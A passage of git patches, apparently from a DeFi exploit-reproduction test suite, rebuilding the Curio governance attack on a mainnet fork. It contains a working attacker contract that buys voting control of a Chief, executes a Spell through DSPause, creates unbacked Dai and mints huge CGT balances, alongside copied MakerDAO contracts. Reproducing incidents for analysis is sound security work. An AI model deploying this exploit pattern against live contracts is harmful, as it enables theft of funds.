onlyPans() { @@ -26,6 +30,52 @@ contract Action { cgt.approve(address(chief), amount); chief.lock(amount); + + address[] memory _yays = new address[](1); + _yays[0] = address(this); + chief.vote(_yays); + + chief.lift(address(this)); + + spell = new Spell(); + address spellAddr = address(spell); + bytes32 tag; + assembly { + tag := extcodehash(spellAddr) + } + + bytes memory funcSig = abi.encodeWithSignature("act(address,address)", address(this), address(cgt)); + uint256 delay = block.timestamp + 0; + console.log("Balance of CGT: %s", cgt.balanceOf(address(this))); + + pause.plot(spellAddr, tag, funcSig, delay); + pause.exec(spellAddr, tag, funcSig, delay); + + console.log("Balance of CGT: %s", cgt.balanceOf(address(this))); + } +} + +contract Spell { + function act(address user, IMERC20 cgt) public { + // TODO + IVat vat = IVat(0x0228CBe36e99375F8dd437Eab1CceDC959Be89A3); + IJoin daiJoin = IJoin(0xe127C2dBA608Ada7F6d75595ac1b675294df2809); + + vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); + + vat.hope(address(daiJoin)); + daiJoin.exit(user, 10 ** 9 * 1 ether); + + cgt.mint(user, 10 ** 12 * 1 ether); + } + + function clean(IMERC20 cgt) external { + // Anti-mev + cgt.stop(); + } + + function cleanToo(IMERC20 cgt) external { + cgt.start(); } } @@ -33,6 +83,11 @@ contract Action { // https://docs.makerdao.com/smart-contract-modules/governance-module/chief-detailed-documentation // Reference code: https://github.com/dapphub/ds-chief/blob/master/src/chief.sol contract Chief is IDSChief { + mapping(bytes32 => address[]) public slates; + mapping(address => bytes32) public votes; + mapping(address => uint256) public approvals; + mapping(address => uint256) public deposits; + IDSToken public GOV; // voting token that gets locked up IDSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms address public hat; // the chieftain's hat @@ -54,12 +109,129 @@ contract Chief is IDSChief { GOV.pull(msg.sender, wad); IOU.mint(msg.sender, wad); // deposits[msg.sender] = add(deposits[msg.sender], wad); - // addWeight(wad, votes[msg.sender]); + deposits[msg.sender] += wad; + addWeight(wad, votes[msg.sender]); + } + + function vote(address[] memory yays) public returns (bytes32) { + bytes32 slate = etch(yays); + vote(slate); + return slate; + } + + function lift(address whom) public { + require(approvals[whom] > approvals[hat]); + hat = whom; } - function vote(address[] memory yays) external returns (bytes32) {} - function lift(address whom) external {} function free(uint256 wad) external {} + + // Aux functions not called directly + function etch(address[] memory yays) public returns (bytes32 slate) { + require(yays.length <= MAX_YAYS); + requireByteOrderedSet(yays); + + bytes32 hash = keccak256(abi.encodePacked(yays)); + slates[hash] = yays; + emit Etch(hash); + return hash; + } + + function addWeight(uint256 weight, bytes32 slate) internal { + address[] storage yays = slates[slate]; + for (uint256 i = 0; i < yays.length; i++) { + approvals[yays[i]] += weight; + } + } + + function subWeight(uint256 weight, bytes32 slate) internal { + address[] storage yays = slates[slate]; + for (uint256 i = 0; i < yays.length; i++) { + approvals[yays[i]] -= weight; + } + } + + function vote(bytes32 slate) public { + require( + slates[slate].length > 0 + || slate == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470, + "ds-chief-invalid-slate" + ); + uint256 weight = deposits[msg.sender]; + subWeight(weight, votes[msg.sender]); + votes[msg.sender] = slate; + addWeight(weight, votes[msg.sender]); + } + + function requireByteOrderedSet(address[] memory yays) internal pure { + if (yays.length == 0 || yays.length == 1) { + return; + } + + for (uint256 i = 0; i < yays.length - 1; i++) { + // strict inequality ensures both ordering and uniqueness + require(uint160(yays[i]) < uint160(yays[i + 1])); + } + } +} + +contract DSPause { + uint256 public delay; + DSPauseProxy public proxy; + mapping(bytes32 => bool) public plans; + + constructor(uint256 delay_, address owner_, address authority_) public { + delay = delay_; + proxy = new DSPauseProxy(); + } + + function hash(address usr, bytes32 tag, bytes memory fax, uint256 eta) internal pure returns (bytes32) { + return keccak256(abi.encode(usr, tag, fax, eta)); + } + + function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) public { + require(eta >= block.timestamp + delay, "ds-pause-delay-not-respected"); + plans[hash(usr, tag, fax, eta)] = true; + } + + function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) + public + returns (bytes memory out) + { + require(plans[hash(usr, tag, fax, eta)], "ds-pause-unplotted-plan"); + require(soul(usr) == tag, "ds-pause-wrong-codehash"); + require(block.timestamp >= eta, "ds-pause-premature-exec"); + + plans[hash(usr, tag, fax, eta)] = false; + + out = proxy.exec(usr, fax); + require(proxy.owner() == address(this), "ds-pause-illegal-storage-change"); + } + + function soul(address usr) internal view returns (bytes32 tag) { + assembly { + tag := extcodehash(usr) + } + } +} + +contract DSPauseProxy { + address public owner; + + modifier auth() { + require(msg.sender == owner, "ds-pause-proxy-unauthorized"); + _; + } + + constructor() public { + owner = msg.sender; + } + + function exec(address usr, bytes memory fax) public auth returns (bytes memory out) { + bool ok; + (ok, out) = usr.delegatecall(fax); + require(ok, "ds-pause-delegatecall-error"); + } } contract IOUToken { diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol index 09606243..140c6707 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -6,15 +6,21 @@ import {TestHarness} from "../../TestHarness.sol"; import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol"; import "./AttackerContract.sol"; import "./Interfaces.sol"; +import "./vat.sol"; +import "./join.sol"; contract Exploit_Curio is TestHarness, TokenBalanceTracker { // Instances of tokens involved IDSToken cgtToken = IDSToken(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a); + IMERC20 curioCSCToken = IMERC20(0xfDcdfA378818AC358739621ddFa8582E6ac1aDcB); // Instances of relevant contracts // Attacker contracts Action attackerContract; Chief chief; + DSPause pause; + Vat vat; + DaiJoin daiJoin; IOUToken IOU; // Peripheral contracts @@ -24,6 +30,8 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { address ATTACKER = makeAddr("ATTACKER"); function setUp() external { + // Attack tx: 0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106 + // Create a fork right before the attack started cheat.createSelectFork("mainnet", 19_491_672); @@ -63,7 +71,7 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { console.log("\n==== STEP 3: Deploy Attacker's contract (called Action) ===="); // Deploy tx: 0x99cc992de6e42a0817713489aeeb21f2d5e5fdca1f833826be09a9f35e5654e3 cheat.prank(ATTACKER); - attackerContract = new Action(address(chief)); + attackerContract = new Action(address(chief), address(pause)); require(address(attackerContract).code.length != 0, "Attacker's contract deployment failed"); console.log("Attacker's contract deployement successful"); @@ -83,7 +91,7 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { // Next steps: 1. Mint CGT tokens via executor's contract 2. Evaluate if the other previous calls that only emit events (likely changing only some attacker's - contract storage) are necessary + contract storage) are necessary */ } @@ -93,12 +101,27 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { cheat.prank(ATTACKER); IOU = new IOUToken(); require(address(IOU).code.length != 0, "IOU token deployment failed"); - console.log("IOU token contract deployement successful"); + console.log("IOU token contract deployement successful at: %s", address(IOU)); cheat.prank(ATTACKER); chief = new Chief(address(cgtToken), address(IOU), type(uint256).max); require(address(chief).code.length != 0, "Chief deployment failed"); - console.log("Chief contract deployement successful"); + console.log("Chief contract deployement successful at: %s", address(chief)); + + cheat.prank(ATTACKER); + pause = new DSPause(0, address(this), address(this)); // last two params unused + require(address(pause).code.length != 0, "Pause deployment failed"); + console.log("Pause contract deployement successful at: %s", address(pause)); + + cheat.prank(ATTACKER); + vat = new Vat(); + require(address(vat).code.length != 0, "Vat deployment failed"); + console.log("Vat contract deployement successful at: %s", address(vat)); + + cheat.prank(ATTACKER); + daiJoin = new DaiJoin(address(vat), address(curioCSCToken)); + require(address(vat).code.length != 0, "DaiJoin deployment failed"); + console.log("DaiJoin contract deployement successful at: %s", address(daiJoin)); } function _labelAccounts() internal { diff --git a/test/Business_Logic/Curio/Interfaces.sol b/test/Business_Logic/Curio/Interfaces.sol index 14eba9f9..f9debd70 100644 --- a/test/Business_Logic/Curio/Interfaces.sol +++ b/test/Business_Logic/Curio/Interfaces.sol @@ -5,6 +5,22 @@ interface IDSToken is IERC20 { function mint(address to, uint256 amount) external; } +interface IMERC20 is IERC20 { + function mint(address guy, uint256 wad) external; + function burn(address guy, uint256 wad) external; + function start() external; + function stop() external; +} + +interface IVat { + function suck(address u, address v, uint256 rad) external; + function hope(address usr) external; +} + +interface IJoin { + function exit(address usr, uint256 wad) external; +} + interface IForeignOmnibridge { function relayTokens(address token, uint256 _value) external; } diff --git a/test/Business_Logic/Curio/join.sol b/test/Business_Logic/Curio/join.sol new file mode 100644 index 00000000..028a6821 --- /dev/null +++ b/test/Business_Logic/Curio/join.sol @@ -0,0 +1,189 @@ +// SPDX-License-Identifier: AGPL-3.0-or-later + +/// join.sol -- Basic token adapters + +// Copyright (C) 2018 Rain +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.12; + +// FIXME: This contract was altered compared to the production version. +// It doesn't use LibNote anymore. +// New deployments of this contract will need to include custom events (TO DO). + +interface GemLike { + function decimals() external view returns (uint256); + function transfer(address, uint256) external returns (bool); + function transferFrom(address, address, uint256) external returns (bool); +} + +interface DSTokenLike { + function mint(address, uint256) external; + function burn(address, uint256) external; +} + +interface VatLike { + function slip(bytes32, address, int256) external; + function move(address, address, uint256) external; +} + +/* + Here we provide *adapters* to connect the Vat to arbitrary external + token implementations, creating a bounded context for the Vat. The + adapters here are provided as working examples: + + - `GemJoin`: For well behaved ERC20 tokens, with simple transfer + semantics. + + - `ETHJoin`: For native Ether. + + - `DaiJoin`: For connecting internal Dai balances to an external + `DSToken` implementation. + + In practice, adapter implementations will be varied and specific to + individual collateral types, accounting for different transfer + semantics and token standards. + + Adapters need to implement two basic methods: + + - `join`: enter collateral into the system + - `exit`: remove collateral from the system + +*/ + +contract GemJoin { + // --- Auth --- + mapping(address => uint256) public wards; + + function rely(address usr) external auth { + wards[usr] = 1; + emit Rely(usr); + } + + function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); + } + + modifier auth() { + require(wards[msg.sender] == 1, "GemJoin/not-authorized"); + _; + } + + VatLike public vat; // CDP Engine + bytes32 public ilk; // Collateral Type + GemLike public gem; + uint256 public dec; + uint256 public live; // Active Flag + + // Events + event Rely(address indexed usr); + event Deny(address indexed usr); + event Join(address indexed usr, uint256 wad); + event Exit(address indexed usr, uint256 wad); + event Cage(); + + constructor(address vat_, bytes32 ilk_, address gem_) public { + wards[msg.sender] = 1; + live = 1; + vat = VatLike(vat_); + ilk = ilk_; + gem = GemLike(gem_); + dec = gem.decimals(); + emit Rely(msg.sender); + } + + function cage() external auth { + live = 0; + emit Cage(); + } + + function join(address usr, uint256 wad) external { + require(live == 1, "GemJoin/not-live"); + require(int256(wad) >= 0, "GemJoin/overflow"); + vat.slip(ilk, usr, int256(wad)); + require(gem.transferFrom(msg.sender, address(this), wad), "GemJoin/failed-transfer"); + emit Join(usr, wad); + } + + function exit(address usr, uint256 wad) external { + require(wad <= 2 ** 255, "GemJoin/overflow"); + vat.slip(ilk, msg.sender, -int256(wad)); + require(gem.transfer(usr, wad), "GemJoin/failed-transfer"); + emit Exit(usr, wad); + } +} + +contract DaiJoin { + // --- Auth --- + mapping(address => uint256) public wards; + + function rely(address usr) external auth { + wards[usr] = 1; + emit Rely(usr); + } + + function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); + } + + modifier auth() { + require(wards[msg.sender] == 1, "DaiJoin/not-authorized"); + _; + } + + VatLike public vat; // CDP Engine + DSTokenLike public dai; // Stablecoin Token + uint256 public live; // Active Flag + + // Events + event Rely(address indexed usr); + event Deny(address indexed usr); + event Join(address indexed usr, uint256 wad); + event Exit(address indexed usr, uint256 wad); + event Cage(); + + constructor(address vat_, address dai_) public { + wards[msg.sender] = 1; + live = 1; + vat = VatLike(vat_); + dai = DSTokenLike(dai_); + } + + function cage() external auth { + live = 0; + emit Cage(); + } + + uint256 constant ONE = 10 ** 27; + + function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { + require(y == 0 || (z = x * y) / y == x); + } + + function join(address usr, uint256 wad) external { + vat.move(address(this), usr, mul(ONE, wad)); + dai.burn(msg.sender, wad); + emit Join(usr, wad); + } + + function exit(address usr, uint256 wad) external { + require(live == 1, "DaiJoin/not-live"); + vat.move(msg.sender, address(this), mul(ONE, wad)); + dai.mint(usr, wad); + emit Exit(usr, wad); + } +} diff --git a/test/Business_Logic/Curio/vat.sol b/test/Business_Logic/Curio/vat.sol new file mode 100644 index 00000000..1add652b --- /dev/null +++ b/test/Business_Logic/Curio/vat.sol @@ -0,0 +1,283 @@ +// SPDX-License-Identifier: AGPL-3.0-or-later + +/// vat.sol -- Dai CDP database + +// Copyright (C) 2018 Rain +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.12; + +// FIXME: This contract was altered compared to the production version. +// It doesn't use LibNote anymore. +// New deployments of this contract will need to include custom events (TO DO). + +contract Vat { + // --- Auth --- + mapping(address => uint256) public wards; + + function rely(address usr) external auth { + require(live == 1, "Vat/not-live"); + wards[usr] = 1; + } + + function deny(address usr) external auth { + require(live == 1, "Vat/not-live"); + wards[usr] = 0; + } + + modifier auth() { + require(wards[msg.sender] == 1, "Vat/not-authorized"); + _; + } + + mapping(address => mapping(address => uint256)) public can; + + function hope(address usr) external { + can[msg.sender][usr] = 1; + } + + function nope(address usr) external { + can[msg.sender][usr] = 0; + } + + function wish(address bit, address usr) internal view returns (bool) { + return either(bit == usr, can[bit][usr] == 1); + } + + // --- Data --- + struct Ilk { + uint256 Art; // Total Normalised Debt [wad] + uint256 rate; // Accumulated Rates [ray] + uint256 spot; // Price with Safety Margin [ray] + uint256 line; // Debt Ceiling [rad] + uint256 dust; // Urn Debt Floor [rad] + } + + struct Urn { + uint256 ink; // Locked Collateral [wad] + uint256 art; // Normalised Debt [wad] + } + + mapping(bytes32 => Ilk) public ilks; + mapping(bytes32 => mapping(address => Urn)) public urns; + mapping(bytes32 => mapping(address => uint256)) public gem; // [wad] + mapping(address => uint256) public dai; // [rad] + mapping(address => uint256) public sin; // [rad] + + uint256 public debt; // Total Dai Issued [rad] + uint256 public vice; // Total Unbacked Dai [rad] + uint256 public Line; // Total Debt Ceiling [rad] + uint256 public live; // Active Flag + + // --- Init --- + constructor() public { + wards[msg.sender] = 1; + live = 1; + } + + // --- Math --- + function _add(uint256 x, int256 y) internal pure returns (uint256 z) { + z = x + uint256(y); + require(y >= 0 || z <= x); + require(y <= 0 || z >= x); + } + + function _sub(uint256 x, int256 y) internal pure returns (uint256 z) { + z = x - uint256(y); + require(y <= 0 || z <= x); + require(y >= 0 || z >= x); + } + + function _mul(uint256 x, int256 y) internal pure returns (int256 z) { + z = int256(x) * y; + require(int256(x) >= 0); + require(y == 0 || z / y == int256(x)); + } + + function _add(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x + y) >= x); + } + + function _sub(uint256 x, uint256 y) internal pure returns (uint256 z) { + require((z = x - y) <= x); + } + + function _mul(uint256 x, uint256 y) internal pure returns (uint256 z) { + require(y == 0 || (z = x * y) / y == x); + } + + // --- Administration --- + function init(bytes32 ilk) external auth { + require(ilks[ilk].rate == 0, "Vat/ilk-already-init"); + ilks[ilk].rate = 10 ** 27; + } + + function file(bytes32 what, uint256 data) external auth { + require(live == 1, "Vat/not-live"); + if (what == "Line") Line = data; + else revert("Vat/file-unrecognized-param"); + } + + function file(bytes32 ilk, bytes32 what, uint256 data) external auth { + require(live == 1, "Vat/not-live"); + if (what == "spot") ilks[ilk].spot = data; + else if (what == "line") ilks[ilk].line = data; + else if (what == "dust") ilks[ilk].dust = data; + else revert("Vat/file-unrecognized-param"); + } + + function cage() external auth { + live = 0; + } + + // --- Fungibility --- + function slip(bytes32 ilk, address usr, int256 wad) external auth { + gem[ilk][usr] = _add(gem[ilk][usr], wad); + } + + function flux(bytes32 ilk, address src, address dst, uint256 wad) external { + require(wish(src, msg.sender), "Vat/not-allowed"); + gem[ilk][src] = _sub(gem[ilk][src], wad); + gem[ilk][dst] = _add(gem[ilk][dst], wad); + } + + function move(address src, address dst, uint256 rad) external { + require(wish(src, msg.sender), "Vat/not-allowed"); + dai[src] = _sub(dai[src], rad); + dai[dst] = _add(dai[dst], rad); + } + + function either(bool x, bool y) internal pure returns (bool z) { + assembly { + z := or(x, y) + } + } + + function both(bool x, bool y) internal pure returns (bool z) { + assembly { + z := and(x, y) + } + } + + // --- CDP Manipulation --- + function frob(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external { + // system is live + require(live == 1, "Vat/not-live"); + + Urn memory urn = urns[i][u]; + Ilk memory ilk = ilks[i]; + // ilk has been initialised + require(ilk.rate != 0, "Vat/ilk-not-init"); + + urn.ink = _add(urn.ink, dink); + urn.art = _add(urn.art, dart); + ilk.Art = _add(ilk.Art, dart); + + int256 dtab = _mul(ilk.rate, dart); + uint256 tab = _mul(ilk.rate, urn.art); + debt = _add(debt, dtab); + + // either debt has decreased, or debt ceilings are not exceeded + require( + either(dart <= 0, both(_mul(ilk.Art, ilk.rate) <= ilk.line, debt <= Line)), "Vat/ceiling-exceeded" + ); + // urn is either less risky than before, or it is safe + require(either(both(dart <= 0, dink >= 0), tab <= _mul(urn.ink, ilk.spot)), "Vat/not-safe"); + + // urn is either more safe, or the owner consents + require(either(both(dart <= 0, dink >= 0), wish(u, msg.sender)), "Vat/not-allowed-u"); + // collateral src consents + require(either(dink <= 0, wish(v, msg.sender)), "Vat/not-allowed-v"); + // debt dst consents + require(either(dart >= 0, wish(w, msg.sender)), "Vat/not-allowed-w"); + + // urn has no debt, or a non-dusty amount + require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust"); + + gem[i][v] = _sub(gem[i][v], dink); + dai[w] = _add(dai[w], dtab); + + urns[i][u] = urn; + ilks[i] = ilk; + } + // --- CDP Fungibility --- + + function fork(bytes32 ilk, address src, address dst, int256 dink, int256 dart) external { + Urn storage u = urns[ilk][src]; + Urn storage v = urns[ilk][dst]; + Ilk storage i = ilks[ilk]; + + u.ink = _sub(u.ink, dink); + u.art = _sub(u.art, dart); + v.ink = _add(v.ink, dink); + v.art = _add(v.art, dart); + + uint256 utab = _mul(u.art, i.rate); + uint256 vtab = _mul(v.art, i.rate); + + // both sides consent + require(both(wish(src, msg.sender), wish(dst, msg.sender)), "Vat/not-allowed"); + + // both sides safe + require(utab <= _mul(u.ink, i.spot), "Vat/not-safe-src"); + require(vtab <= _mul(v.ink, i.spot), "Vat/not-safe-dst"); + + // both sides non-dusty + require(either(utab >= i.dust, u.art == 0), "Vat/dust-src"); + require(either(vtab >= i.dust, v.art == 0), "Vat/dust-dst"); + } + // --- CDP Confiscation --- + + function grab(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external auth { + Urn storage urn = urns[i][u]; + Ilk storage ilk = ilks[i]; + + urn.ink = _add(urn.ink, dink); + urn.art = _add(urn.art, dart); + ilk.Art = _add(ilk.Art, dart); + + int256 dtab = _mul(ilk.rate, dart); + + gem[i][v] = _sub(gem[i][v], dink); + sin[w] = _sub(sin[w], dtab); + vice = _sub(vice, dtab); + } + + // --- Settlement --- + function heal(uint256 rad) external { + address u = msg.sender; + sin[u] = _sub(sin[u], rad); + dai[u] = _sub(dai[u], rad); + vice = _sub(vice, rad); + debt = _sub(debt, rad); + } + + function suck(address u, address v, uint256 rad) external { + sin[u] = _add(sin[u], rad); + dai[v] = _add(dai[v], rad); + vice = _add(vice, rad); + debt = _add(debt, rad); + } + + // --- Rates --- + function fold(bytes32 i, address u, int256 rate) external auth { + require(live == 1, "Vat/not-live"); + Ilk storage ilk = ilks[i]; + ilk.rate = _add(ilk.rate, rate); + int256 rad = _mul(ilk.Art, rate); + dai[u] = _add(dai[u], rad); + debt = _add(debt, rad); + } +} From 5a42bf235954157094041a7d317062874b886256 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Wed, 5 Jun 2024 16:35:48 -0300 Subject: [PATCH 09/19] solve: how does pause proxy gets minting privileges --- .../Business_Logic/Curio/AttackerContract.sol | 21 ++++++++++++------- test/Business_Logic/Curio/Curio.attack.sol | 3 ++- test/Business_Logic/Curio/Interfaces.sol | 1 - 3 files changed, 16 insertions(+), 9 deletions(-) diff --git a/test/Business_Logic/Curio/AttackerContract.sol b/test/Business_Logic/Curio/AttackerContract.sol index 5b9b4641..82fa0fea 100644 --- a/test/Business_Logic/Curio/AttackerContract.sol +++ b/test/Business_Logic/Curio/AttackerContract.sol @@ -15,8 +15,12 @@ contract Action { // The attacker knew the Chief address in advance, we pass this as a constructor argument constructor(address _chief, address _pause) { pans = msg.sender; - chief = IDSChief(_chief); - pause = DSPause(_pause); + // Somehow Chief and Pause in tandem receive minting privileges to CSC Token + chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); + pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); + + // chief = IDSChief(_chief); + // pause = DSPause(_pause); } modifier onlyPans() { @@ -27,6 +31,8 @@ contract Action { function cook(address _cgt, uint256 amount, uint256 wethMin, uint256 daiMin) external onlyPans { IERC20 cgt = IERC20(_cgt); cgt.transferFrom(msg.sender, address(this), amount); + console.log("Balance of CGT: %s", cgt.balanceOf(address(this))); + cgt.approve(address(chief), amount); chief.lock(amount); @@ -34,7 +40,6 @@ contract Action { address[] memory _yays = new address[](1); _yays[0] = address(this); chief.vote(_yays); - chief.lift(address(this)); spell = new Spell(); @@ -48,6 +53,7 @@ contract Action { uint256 delay = block.timestamp + 0; console.log("Balance of CGT: %s", cgt.balanceOf(address(this))); + // Somehow DSPauseProxy should be allowed in the context of CSC Token to mint tokens pause.plot(spellAddr, tag, funcSig, delay); pause.exec(spellAddr, tag, funcSig, delay); @@ -58,8 +64,11 @@ contract Action { contract Spell { function act(address user, IMERC20 cgt) public { // TODO - IVat vat = IVat(0x0228CBe36e99375F8dd437Eab1CceDC959Be89A3); - IJoin daiJoin = IJoin(0xe127C2dBA608Ada7F6d75595ac1b675294df2809); + // IVat vat = IVat(0x0228CBe36e99375F8dd437Eab1CceDC959Be89A3); + // IJoin daiJoin = IJoin(0xe127C2dBA608Ada7F6d75595ac1b675294df2809); + + IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); + IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); @@ -124,8 +133,6 @@ contract Chief is IDSChief { hat = whom; } - function free(uint256 wad) external {} - // Aux functions not called directly function etch(address[] memory yays) public returns (bytes32 slate) { require(yays.length <= MAX_YAYS); diff --git a/test/Business_Logic/Curio/Curio.attack.sol b/test/Business_Logic/Curio/Curio.attack.sol index 140c6707..ef9228d5 100644 --- a/test/Business_Logic/Curio/Curio.attack.sol +++ b/test/Business_Logic/Curio/Curio.attack.sol @@ -33,7 +33,7 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { // Attack tx: 0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106 // Create a fork right before the attack started - cheat.createSelectFork("mainnet", 19_491_672); + cheat.createSelectFork("mainnet", 19_498_910); // Setup attackers account deal(address(cgtToken), ATTACKER, 100 ether); @@ -129,6 +129,7 @@ contract Exploit_Curio is TestHarness, TokenBalanceTracker { cheat.label(address(foreignOmniBridge), "ForeignOmniBridge"); cheat.label(address(cgtToken), "CGT Token"); + cheat.label(address(curioCSCToken), "CSC Token"); } function _tokenTrackerSetup() internal { diff --git a/test/Business_Logic/Curio/Interfaces.sol b/test/Business_Logic/Curio/Interfaces.sol index f9debd70..7538f216 100644 --- a/test/Business_Logic/Curio/Interfaces.sol +++ b/test/Business_Logic/Curio/Interfaces.sol @@ -34,7 +34,6 @@ interface IDSChief { function lock(uint256 wad) external; function vote(address[] memory yays) external returns (bytes32); function lift(address whom) external; - function free(uint256 wad) external; } interface IDSPause { From 5f642c5a16ab8fe5b8f15f1cc2976a814ea36132 Mon Sep 17 00:00:00 2001 From: nine-december <108370058+nine-december@users.noreply.github.com> Date: Wed, 5 Jun 2024 17:11:44 -0300 Subject: [PATCH 10/19] import: makerdao contracts with updated pragma --- .../Business_Logic/Curio/AttackerContract.sol | 195 +++++++++--------- test/Business_Logic/Curio/Chief/auth.sol | 61 ++++++ test/Business_Logic/Curio/Chief/chief.sol | 173 ++++++++++++++++ test/Business_Logic/Curio/Chief/math.sol | 96 +++++++++ test/Business_Logic/Curio/Chief/note.sol | 43 ++++ test/Business_Logic/Curio/Chief/roles.sol | 91 ++++++++ test/Business_Logic/Curio/Chief/thing.sol | 28 +++ test/Business_Logic/Curio/Chief/token.sol | 130 ++++++++++++ test/Business_Logic/Curio/Curio.attack.sol | 5 +- 9 files changed, 724 insertions(+), 98 deletions(-) create mode 100644 test/Business_Logic/Curio/Chief/auth.sol create mode 100644 test/Business_Logic/Curio/Chief/chief.sol create mode 100644 test/Business_Logic/Curio/Chief/math.sol create mode 100644 test/Business_Logic/Curio/Chief/note.sol create mode 100644 test/Business_Logic/Curio/Chief/roles.sol create mode 100644 test/Business_Logic/Curio/Chief/thing.sol create mode 100644 test/Business_Logic/Curio/Chief/token.sol diff --git a/test/Business_Logic/Curio/AttackerContract.sol b/test/Business_Logic/Curio/AttackerContract.sol index 82fa0fea..4d141297 100644 --- a/test/Business_Logic/Curio/AttackerContract.sol +++ b/test/Business_Logic/Curio/AttackerContract.sol @@ -2,6 +2,7 @@ pragma solidity ^0.8.24; import "./Interfaces.sol"; import "forge-std/console.sol"; +import "./Chief/chief.sol"; // Contract used by the attacker to get outstanding CGT balance // The contract is verified at https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545#code @@ -16,10 +17,11 @@ contract Action { constructor(address _chief, address _pause) { pans = msg.sender; // Somehow Chief and Pause in tandem receive minting privileges to CSC Token - chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); + // Addresses used by the attacker + // chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0); pause = DSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f); - // chief = IDSChief(_chief); + chief = IDSChief(_chief); // pause = DSPause(_pause); } @@ -63,13 +65,14 @@ contract Action { contract Spell { function act(address user, IMERC20 cgt) public { - // TODO - // IVat vat = IVat(0x0228CBe36e99375F8dd437Eab1CceDC959Be89A3); - // IJoin daiJoin = IJoin(0xe127C2dBA608Ada7F6d75595ac1b675294df2809); - + // Addresses used by the attacker IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57); IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF); + // Addresses retrieved from local deployment + // IVat vat = IVat(0x0228CBe36e99375F8dd437Eab1CceDC959Be89A3); + // IJoin daiJoin = IJoin(0xe127C2dBA608Ada7F6d75595ac1b675294df2809); + vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27); vat.hope(address(daiJoin)); @@ -91,96 +94,96 @@ contract Spell { // Chief contract introduced by Maker: // https://docs.makerdao.com/smart-contract-modules/governance-module/chief-detailed-documentation // Reference code: https://github.com/dapphub/ds-chief/blob/master/src/chief.sol -contract Chief is IDSChief { - mapping(bytes32 => address[]) public slates; - mapping(address => bytes32) public votes; - mapping(address => uint256) public approvals; - mapping(address => uint256) public deposits; - - IDSToken public GOV; // voting token that gets locked up - IDSToken public IOU; // non-voting representation of a token, for e.g. secondary voting mechanisms - address public hat; // the chieftain's hat - - uint256 public MAX_YAYS; - - event Etch(bytes32 indexed slate); - // event lock(uint256 amount); - - // IOU constructed outside this contract reduces deployment costs significantly - // lock/free/vote are quite sensitive to token invariants. Caution is advised. - constructor(address GOV_, address IOU_, uint256 MAX_YAYS_) public { - GOV = IDSToken(GOV_); - IOU = IDSToken(IOU_); - MAX_YAYS = MAX_YAYS_; - } - - function lock(uint256 wad) public { - GOV.pull(msg.sender, wad); - IOU.mint(msg.sender, wad); - // deposits[msg.sender] = add(deposits[msg.sender], wad); - deposits[msg.sender] += wad; - addWeight(wad, votes[msg.sender]); - } - - function vote(address[] memory yays) public returns (bytes32) { - bytes32 slate = etch(yays); - vote(slate); - return slate; - } - - function lift(address whom) public { - require(approvals[whom] > approvals[hat]); - hat = whom; - } - - // Aux functions not called directly - function etch(address[] memory yays) public returns (bytes32 slate) { - require(yays.length <= MAX_YAYS); - requireByteOrderedSet(yays); - - bytes32 hash = keccak256(abi.encodePacked(yays)); - slates[hash] = yays; - emit Etch(hash); - return hash; - } - - function addWeight(uint256 weight, bytes32 slate) internal { - address[] storage yays = slates[slate]; - for (uint256 i = 0; i < yays.length; i++) { - approvals[yays[i]] += weight; - } - } - - function subWeight(uint256 weight, bytes32 slate) internal { - address[] storage yays = slates[slate]; - for (uint256 